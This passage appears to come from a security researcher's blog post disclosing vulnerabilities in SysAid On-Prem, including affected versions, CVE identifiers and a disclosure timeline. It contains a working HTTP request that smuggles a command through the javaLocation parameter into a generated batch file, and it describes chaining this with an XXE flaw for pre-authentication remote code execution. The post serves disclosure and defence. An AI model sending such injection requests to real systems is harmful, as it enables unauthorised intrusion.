Normally, the content of the updateApi.bat
file contains something like the following:

As you can see, C:\\java\\bin\\
is the current Java path, and the remainder of the file contains multiple shell commands that execute Java code to ultimately generate API information about the current SysAid instance.
As you may have spotted in the code sample of the method above, input validation appears to be something that we believe in as an intangible concept, allowing an attacker to trivially inject their commands into the creation of the updateApi.bat
file.
This is demonstrated by sending the following request:
POST /API.jsp HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=session
Content-Length: 134
updateApi=false&updateApiSettings=true&javaLocation="%0acalc%0a
This example request demonstrates an HTTP request, specifying a number of POST parameters, but importantly, the javaLocation
parameter with a value of "%0acalc%0a
- a double-quote followed by a new line, followed by the command we want to execute (calc
, in this case) and another newline.
This causes the updateApi.bat
file content to become as follows:

As you can see, the calc
command is then injected into the generated command saved within updateApi.bat
and will be executed without an issue when updateApi.bat
is next triggered.
Detection Artefact Generator
As always, we’ve compiled a Detection Artefact Generator to demonstrate and achieve pre-auth RCE.
The Detection Artefact Generator chain is a combination of two vulnerabilities:
- CVE-2025-2775 - Pre-Authentication XXE 1
- Which we use to leak plaintext administrator credentials.
- CVE-2025-2778 - Post-Authentication Command Injection
This piece of art can be found here:
Affected Versions
SysAid On-Prem versions <= 23.3.40
are considered affected and vulnerable to the vulnerabilities detailed in today’s blog post.
A direct link to the SysAid release note can be found here.

CVE Assignment
Thank you to our friends at VulnCheck for reserving the following CVEs (including a CVE for the mystery OS command injection, as we cannot identify an assigned CVE identifier):
- CVE-2025-2775 (watchTowr) - Pre-Authentication XXE 1
- CVE-2025-2776 (watchTowr) - Pre-Authentication XXE 2
- CVE-2025-2777 (watchTowr) - Pre-Authentication XXE 3
- CVE-2025-2778 (Unknown Reporter) - Post-Authentication OS Command Injection
Although SysAid only mentions 2 XXE vulnerabilities in their changelog, we assume that since the first and second XXE issues (previously explained in detail) are in the same Java class (GetMdmMessage
), SysAid decided they should be counted as one.
Timeline
Data | Detail |
20 December 2024 | First XXE vulnerability report sent to SysAid |
22 December 2024 | SysAid responds, stating they are unable to reproduce the XXE and highlights that they have their own vulnerability disclosure terms & conditions they’d like to somehow commit us to. |
22 December 2024 | watchTowr checks with counsel to ensure that it’s still not possible to arbitrarily bind people to random contracts without agreement - counsel confirms that the world has not changed. |
03 January 2025 | More detailed report sent, explaining the complex vulnerability |
06 January 2025 | Two additional XXE vulnerabilities reported |
30 January 2025 | Follow-up email sent, seeking confirmation of received reports |
06 February 2025 | Follow-up email sent |
24 February 2025 | Follow-up email sent |
03 March 2025 | SysAid publishes version 24.4.60 fixing the reported vulnerabilities (no CVEs assigned) |
22 March 2025 | watchTowr CEO messages SysAid CISO on LinkedIn - no response. |
25 March 2025 | watchTowr notifies SysAid that CVEs have been reserved via our friends at VulnCheck |
07 May 2025 | watchTowr publishes research |
At watchTowr, we passionately believe that continuous security testing is the future and that rapid reaction to emerging threats single-handedly prevents inevitable breaches.
With the watchTowr Platform, we deliver this capability to our clients every single day - it is our job to understand how emerging threats, vulnerabilities, and TTPs could impact their organizations, with precision.
If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.